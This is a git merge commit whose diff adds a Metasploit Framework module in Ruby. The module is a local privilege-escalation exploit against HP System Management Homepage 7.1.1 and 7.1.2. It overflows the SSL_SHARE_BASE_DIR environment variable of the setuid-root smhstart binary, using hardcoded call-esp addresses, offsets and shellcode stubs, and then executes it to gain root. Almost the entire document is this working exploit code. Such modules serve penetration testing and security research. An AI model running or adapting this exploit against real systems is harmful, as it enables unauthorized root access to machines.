Merge remote-tracking branch 'origin/pr/1695' into landing-pr1695
commit
55302ee07f
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@ -0,0 +1,93 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/exploit/local/linux'
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require 'msf/core/exploit/exe'
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class Metasploit4 < Msf::Exploit::Local
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include Msf::Exploit::EXE
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include Msf::Post::File
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include Msf::Post::Common
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include Msf::Exploit::Local::Linux
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'HP System Management Homepage Local Privilege Escalation',
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'Description' => %q{
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Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'agix' #@agixid
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],
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86 ],
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'SessionTypes' => [ 'shell' ],
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'Payload' =>
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{
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'Space' => 227,
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'BadChars' => "\x00\x22"
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},
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'References' =>
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[
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['OSVDB', '91812'] #not exactly but there is none...
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],
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'Targets' =>
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[
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[ 'Hpsmh 7.1.1',
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{
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'Arch' => ARCH_X86,
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'CallEsp' => 0x080c86eb, #call esp
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'Offset' => 58
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}
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],
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[ 'Hpsmh 7.1.2',
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{
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'Arch' => ARCH_X86,
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'CallEsp' => 0x080c8b9b, #call esp
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'Offset' => 58
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}
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],
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],
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'DefaultOptions' =>
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{
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'PrependSetuid' => true
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},
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'DefaultTarget' => 0,
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'DisclosureDate' => "Mar 30 2013",
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}
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))
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register_options([
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OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
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], self.class)
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end
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def exploit
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pl = payload.encoded
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padding = rand_text_alpha(target['Offset'])
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ret = [target['CallEsp']].pack('V')
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exploit = pl
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exploit << ret
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exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11
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exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl
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exploit << padding
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exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
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id=cmd_exec("id -un")
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if id!="hpsmh"
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fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
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end
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cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
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cmd_exec("#{datastore['smhstartDir']}/smhstart")
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end
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end
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